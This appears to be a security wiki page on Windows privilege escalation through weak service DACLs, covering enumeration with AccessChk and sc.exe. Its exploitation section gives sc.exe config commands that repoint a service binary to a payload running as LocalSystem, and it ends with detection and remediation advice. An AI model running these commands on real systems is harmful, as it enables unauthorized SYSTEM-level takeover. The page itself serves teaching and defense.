Exploit SERVICE_ALL_ACCESS

Windows services are securable objects protected by Discretionary Access Control Lists (DACLs). If a service’s DACL grants a low-privileged principal SERVICE_ALL_ACCESS — or the weaker but sufficient SERVICE_CHANGE_CONFIG — that principal can reconfigure the service to execute arbitrary code with the service account’s privileges, typically LocalSystem. This maps to MITRE ATT&CK T1574.011 (Services Registry Permissions Weakness) and T1543.003 (Windows Service).

Relevant access rights

Per Microsoft’s service security documentation, the key rights for this attack are:

RightEffect
SERVICE_ALL_ACCESS (0xF01FF)Full control — includes everything below
SERVICE_CHANGE_CONFIG (0x0002)Change the binary path, start type, and run-as account
SERVICE_START / SERVICE_STOPRestart the service so the new config takes effect
WRITE_DACRewrite the DACL itself — grant yourself any right
WRITE_OWNERTake ownership of the service object

Microsoft’s guidance is explicit: because SERVICE_CHANGE_CONFIG grants the right to change the executable the system runs, it should be granted only to administrators. Granting it (or SERVICE_ALL_ACCESS) to untrusted users “can allow them to run applications under the LocalSystem account.”

Enumeration with AccessChk

Use Sysinternals AccessChk to audit service DACLs:

# Detailed ACL dump for one service
accesschk64.exe -qlc $SERVICE_NAME
 
# Find all services writable by broad groups
accesschk64.exe -uwcqv "Authenticated Users" * -accepteula
accesschk64.exe -uwcqv "Users" * -accepteula
accesschk64.exe -uwcqv "Everyone" * -accepteula

Flags: -c targets services, -w shows write access, -q quiet, -l full security descriptor, -u suppress errors.

Without AccessChk, sc.exe sdshow $SERVICE_NAME dumps the SDDL string — look for ACEs granting WP (SERVICE_CHANGE_CONFIG) or full access to SIDs you control.

Exploitation

With SERVICE_CHANGE_CONFIG or better on a service running as SYSTEM:

# Confirm the run-as account and current config
sc.exe qc $SERVICE_NAME
 
# Make the payload executable by the service account
icacls $PATH_TO_PAYLOAD /grant Everyone:F
 
# Point the service at the payload (spaces after = are required)
sc.exe config $SERVICE_NAME binPath= "$PATH_TO_PAYLOAD" obj= "LocalSystem"
 
# Restart so the new config takes effect
sc.exe stop $SERVICE_NAME
sc.exe start $SERVICE_NAME

The payload should be service-aware (e.g., msfvenom with -f exe-service) so it survives the Service Control Manager’s startup handshake. With only WRITE_DAC, first grant yourself SERVICE_CHANGE_CONFIG via sc.exe sdset or SetServiceObjectSecurity, then proceed as above.

Detection and remediation

  • Audit service DACLs with the same AccessChk queries; any broad group holding SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER, or SERVICE_ALL_ACCESS on a SYSTEM service is a critical finding
  • Reset weak descriptors with sc.exe sdset
  • Alert on ImagePath registry changes and on sc.exe config invocations from non-admin contexts
  • Correlate service restarts with preceding configuration changes

See also

Sources